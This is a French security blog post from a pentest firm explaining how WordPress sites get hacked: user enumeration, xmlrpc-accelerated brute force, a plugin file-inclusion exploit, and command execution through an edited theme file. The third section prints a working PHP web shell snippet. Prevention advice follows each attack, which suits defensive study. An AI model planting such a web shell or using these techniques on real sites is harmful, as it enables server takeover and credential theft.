Comment les sites WordPress sont piratés et les solutions pour l’éviter

Table des Matières

Les sites WordPress sont régulièrement piratés, car il s’agit de loin du logiciel le plus populaire pour la création de sites web et de blogs. Cette popularité, associée à la nature de son architecture personnalisable, en fait une cible privilégiée pour les attaquants. Sa configuration par défaut contient plusieurs insécurités, tandis que des failles de sécurité sont régulièrement découvertes dans les plugins et les thèmes développés par les utilisateurs, ainsi que dans le «noyau» de WordPress lui-même.

Au lieu de simplement fournir une liste de conseils sur la façon de sécuriser WordPress, cet article montrera des exemples concrets de la façon dont les pirates (et les pentesters comme nous ici à Vumetric) exploitent ces faiblesses pour compromettre les sites WordPress – et comment prévenir de telles attaques.

Attaque n° 1 : forcer l’ouverture de session

Celle-ci est la plus évidente. Par défaut, la page de connexion de WordPress est accessible à l’ensemble de l’internet, est facile à trouver (il suffit d’aller sur /wp-login.php) et ne comporte pas de mesures d’atténuation de la force brute telles qu’un CAPTCHA ou une limitation du taux. Cela en fait une cible de choix pour les pirates informatiques et les robots :

Vulnérabilité de la connexion à WordPress par force brute
Forçage d’une connexion WordPress vulnérable

Augmenter les chances : énumération des utilisateurs

Il y a plusieurs façons pour les attaquants d’augmenter leurs chances de pénétrer dans WordPress par force brute, la première étant l’énumération des utilisateurs par l’une des méthodes suivantes :

  1. Trouver des noms d’utilisateur valides en regardant les auteurs des messages et des commentaires.
  2. Utilisation de l’essai-erreur sur la page de connexion en vérifiant les messages d’erreur (y a-t-il une erreur indiquant que l’utilisateur n’existe pas, ou que le mot de passe fourni n’est pas valide ?)
  3. Utilisation du point de terminaison «/wp-json/wp/v2/users» de l’API JSON de WordPress pour obtenir une liste d’informations sur les utilisateurs valides.
  4. Récupération des noms d’utilisateur à partir de points d’extrémité intégrés et de fonctions telles que les flux RSS.
  5. Outils permettant d’automatiser les opérations ci-dessus (tels que WPScan).

Grâce à cette connaissance, les pirates peuvent cibler uniquement les comptes d’utilisateurs légitimes, ce qui rend leur attaque à la fois plus rapide et plus susceptible de réussir. Voici un exemple d’utilisation de l’API utilisateurs pour recueillir des informations en vue d’une attaque :

Vulnérabilité de l'API de WordPress
Énumération des utilisateurs de WordPress

Ci-dessus, nous voyons que «bjoel» est un nom d’utilisateur valide pour le site. Parfois, ce point de terminaison comprendra également des adresses électroniques qu’un attaquant astucieux pourrait vérifier par rapport à des incidents de données connus afin de réaliser des attaques de bourrage d’informations d’identification ou d’hameçonnage avec. En cas d’échec, une attaque par force brute plus robuste peut être lancée.

Augmenter les chances : accélérer l’attaque

Cela nous amène à la deuxième façon dont les pirates augmentent leurs chances de réussite : le fichier xmlrpc.php .

En bref, xmlrpc est un précurseur de l’API WordPress qui permet d’interagir à distance avec WordPress via des requêtes au format XML. L’une des caractéristiques de xmlrpc est qu’il est possible d’effectuer plusieurs opérations en une seule demande, dans un souci d’efficacité. Toutefois, cela signifie qu’un attaquant peut soumettre plusieurs tentatives de connexion en une seule demande, ce qui accélère considérablement son attaque.

Comparons deux attaques par force brute, la première utilisant la méthode traditionnelle d’une tentative par requête via le formulaire de connexion :

Vulnérabilité de WordPress due à la force brute
Attaque par force brute sur un formulaire de connexion WordPress

En utilisant un réglage assez agressif de 10 threads, il est possible d’essayer environ 1500 mots de passe en deux minutes. Comparons maintenant avec une attaque accélérée utilisant xmlrpc pour soumettre plusieurs tentatives d’authentification dans chaque requête :

Vulnérabilité de la connexion à WordPress
Attaque par force brute sur un formulaire de connexion WordPress

Lorsqu’elle est disponible, la prise en charge des appels multiples par xmlrpc.php permet de réaliser la même attaque par force brute en sept secondes au lieu de deux minutes. C’est parce qu’il soumet 500 tentatives de connexion à chaque demande. Ce type de gain de performance crée une attaque par force brute optimisée qui a plus de chances de réussir qu’une attaque traditionnelle dans les mêmes délais.

La prévention

Empêcher l’énumération des utilisateurs est difficile avec WordPress, mais les étapes suivantes peuvent aider :

  • Définissez un nom d’affichage (pseudonyme) distinct de votre nom d’utilisateur. Cela apparaîtra dans des endroits tels que les articles et les commentaires sans révéler le nom d’utilisateur que vous utilisez pour vous connecter à WordPress.
  • Restreindre l’accès à l’API JSON de WordPress, en particulier le point de terminaison «/wp-json/wp/v2/users «*.
  • Débarrassez-vous de l’utilisateur «admin» par défaut au profit de votre propre compte.

À partir de là, les attaques par force brute peuvent être atténuées en procédant comme suit :

  • Restreindre l’accès à xmlrpc.php*.
  • Activer l’authentification à deux facteurs.
  • Restreindre l’accès à la page de connexion à un nombre limité d’adresses IP.

En outre, il existe plusieurs plugins de sécurité pour WordPress qui effectuent certaines des opérations ci-dessus tout en ajoutant des protections supplémentaires par force brute (nous y reviendrons).

*
A noter :
Ces fonctionnalités peuvent être nécessaires pour que certains plugins et intégrations fonctionnent ; cependant, en règle générale, elles ne sont pas nécessaires pour les sites de base. Il existe plusieurs façons de restreindre l’accès – la plus simple étant une règle de refus .htaccess – mais d’autres options existent pour limiter l’accès aux utilisateurs authentifiés ou à d’autres conditions spécifiques. Nous vous recommandons de rechercher ce qui convient le mieux à votre cas d’utilisation.

Attaque n°2 : Exploitation d’un code vulnérable

Si un pirate n’est pas en mesure de trouver des informations d’identification légitimes pour se connecter à votre site, il peut chercher à exploiter les vulnérabilités qui existent dans les plugins, les thèmes ou le cœur de WordPress. En raison de sa popularité et de sa facilité de personnalisation, l’écosystème WordPress a toujours été l’un des plus ciblés et exploités, avec plus de 1 250 entrées présentes sur ExploitDB au moment de la rédaction de ce document.

Voyons comment l’un de ces exploits peut être utilisé par les pirates.

Exemple d’exploit : Plugin Mail Masta

Le plugin WordPress «Mail Masta» version 1.0 est vulnérable à l’inclusion de fichier local (LFI). Une LFI permet à un attaquant de lire des fichiers arbitraires sur l’hôte vulnérable, y compris des éléments tels que le fichier de configuration de WordPress en utilisant une simple requête web :

Plugin WordPress vulnérable
Exploitation d’un plugin WordPress vulnérable

En utilisant cette vulnérabilité, nous voyons le nom d’utilisateur et le mot de passe de la base de données pour l’instance WordPress associée. Ces informations pourraient être utilisées pour se connecter directement au panneau d’administration de WordPress (si «elyana» réutilise son mot de passe). Il pourrait également être utilisé pour accéder à la base de données directement ou avec quelque chose comme phpMyAdmin afin d’ajouter un nouvel utilisateur administrateur ou de craquer/changer le mot de passe des utilisateurs existants.

Prévenir l’attaque

La prévention est assez simple :

  • Mettez régulièrement à jour votre installation WordPress (noyau, plugins et thèmes). La mise en place d’un événement répétitif dans le calendrier en guise de rappel peut permettre d’éviter de passer à travers les mailles du filet.
  • Réduire au minimum l’utilisation de codes tiers lorsque cela est possible, par exemple. des thèmes et des plugins.
  • N’utilisez que du code tiers provenant de sources fiables et de projets actifs et bien entretenus.
  • Effectuer un examen du code pour toutes les personnalisations apportées à votre site.
  • S’inscrire à une liste de diffusion qui fournit des avis importants en matière de sécurité.

Attaque n° 3 : compromettre le système

Maintenant que notre attaquant a forcé ou exploité son chemin dans votre panneau d’administration WordPress, il est temps pour lui de compromettre le système sous-jacent par l’exécution de commandes. Il y a trois façons principales de procéder :

  1. Télécharger un plugin malveillant.
  2. Modifiez un fichier PHP (par exemple, un fichier faisant partie d’un thème).
  3. Trouver un moyen de télécharger un fichier PHP malveillant.

À titre d’exemple, nous nous concentrerons sur le numéro 2 car c’est l’un des plus faciles. Il suffit de se rendre dans Apparence -> Editor et de modifier le fichier 404.php du thème actif :

Vulnérabilité dans l'exécution des commandes de WordPress
Attaque par exécution de commande sur un site WordPress

Nous ajoutons maintenant un peu de code PHP pour obtenir l’exécution de la commande :

if (!empty($_GET[‘cmd’])) {

echo ‘<pre>’ ;

echo shell_exec($_GET[‘cmd’]) ;

echo ‘</pre>’ ;

exit() ;

}

Nous pouvons ensuite exécuter les commandes «whoami» et «ifconfig» sur le serveur en naviguant vers une URL inexistante et en fournissant un argument «cmd» :

Vulnérabilité de WordPress concernant l'exécution de commandes à distance
Attaque par exécution de commande à distance dans WordPress

À partir de là, il devient trivial de compromettre la base de données (en lisant le nom d’utilisateur et le mot de passe dans wp-config.php), d’obtenir un shell interactif sur le système sous-jacent et de lancer d’autres attaques. Si votre instance de WordPress est connectée au réseau de votre entreprise, elle peut servir de point d’appui pour compromettre d’autres systèmes.

Les autres méthodes permettent essentiellement de réaliser le même type de compromis par des moyens différents.

La prévention

Si un attaquant est arrivé jusqu’ici, il est généralement déjà trop tard. Il existe des solutions qui consistent à modifier les autorisations et les paramètres de configuration pour empêcher l’écriture de fichiers et à désactiver la prise en charge des plugins, mais cela n’est pas très pratique dans la plupart des cas si vous voulez que votre instance de WordPress reste utilisable.

Il peut être intéressant de désactiver les fonctions dangereuses via le fichier php.ini, par exemple :

  • exécuter
  • passer
  • shell_exec
  • système
  • proc_open
  • popen
  • curl_exec
  • curl_multi_exec
  • parse_ini_file
  • show_source

Toutefois, cela n’est pas toujours possible dans les environnements d’hébergement mutualisé et peut finir par interférer avec certains plugins et intégrations légitimes.

Plus de conseils pour sécuriser WordPress contre les pirates informatiques

En plus de ce qui a été dit, vous pouvez sécuriser votre instance WordPress en procédant comme suit :

  • Assurez-vous que l’indexation des répertoires est désactivée. Cela se fait généralement dans la configuration du serveur web et peut être rapidement vérifié en allant sur «/wp-content/uploads/» dans votre navigateur pour voir si vous obtenez une liste des fichiers téléchargés.
  • Veillez à ne pas laisser de sauvegardes de fichiers dans la racine du site. Des sauvegardes lisibles de fichiers .php ou des vidages de bases de données peuvent conduire à une compromission par divulgation d’informations.
  • Effectuez des sauvegardes régulières et stockez-les hors serveur en cas de compromission.
  • Utilisez un pare-feu d’application Web (WAF) pour contrecarrer les attaques. Cela peut se faire par l’intermédiaire d’un fournisseur comme CloudFlare, mais le plugin WordPress Wordfence est spécifiquement conçu pour aider à renforcer votre système.
  • Enregistrez-vous pour obtenir une clé API gratuite pour WPscan et utilisez-la pour scanner votre site à la recherche de vulnérabilités et de mauvaises configurations avec la commande suivante : wpscan -e vp,vt,cb,dbe,u,m –api-token YOUR_API_KEY –url http://YOUR_WORDPRESS_SITE

Résumé de la manière dont les sites WordPress sont piratés

Récapitulons :

  1. L’énumération des utilisateurs et les attaques par force brute peuvent permettre aux pirates d’accéder au panneau d’administration de WordPress.
  2. Un code vulnérable et obsolète peut permettre à des pirates de compromettre votre instance WordPress, même sans disposer d’informations d’identification valides ou sans pouvoir se connecter.
  3. Une instance WordPress piratée peut entraîner la compromission du système sous-jacent et des menaces supplémentaires.

Prenez les mesures nécessaires pour vous protéger de ces risques en utilisant les informations présentées dans ce billet. Si vous voulez vous assurer que votre site WordPress ou toute autre infrastructure informatique est sécurisée, contactez l’un de nos spécialistes certifiés pour obtenir l’avis d’un expert.

Abonnez-vous à Notre Infolettre !

Restez au fait des risques de cybersécurité, de l’évolution des menaces et de l’actualité du secteur.

Ce champ n’est utilisé qu’à des fins de validation et devrait rester inchangé.

Partager cet article sur les médias sociaux :

Articles de Blogue Récents

Services en Vedette

Catégories

Les Derniers Articles de Blogue de Vumetric

Qu’il s’agisse des dernières tendances du secteur ou des bonnes pratiques à adopter, apprenez-en davantage sur la cybersécurité:

COMMENCEZ DÈS AUJOURD'HUI

Faites-nous part de vos besoins
Obtenir une réponse le même jour

Vous avez une demande urgente ? Appelez-nous au 1-877-805-7475 ou Prenez rendez-vous.

Une fois le formulaire envoyé :

Un expert vous contactera pour se renseigner sur votre projet de cybersécurité

La portée du projet sera défini (environnement cible, délais, exigences, etc.)

Une soumission détaillée comprenant un prix tout inclus vous est envoyée

Ce champ n’est utilisé qu’à des fins de validation et devrait rester inchangé.

ÉDITION 2024

Guide de l'Acheteur de Tests d'Intrusion

Tout ce que vous Devez Savoir

Planifiez et réalisez des projets de test d’intrusion avec succès.

PLANIFIER UNE RENCONTRE

Saisissez Votre Adresse Courriel

Ce champ n’est utilisé qu’à des fins de validation et devrait rester inchangé.

* Pas de fournisseur de courrier électronique gratuit (par exemple : gmail.com, hotmail.com, etc.)

This site is registered on wpml.org as a development site. Switch to a production site key to remove this banner.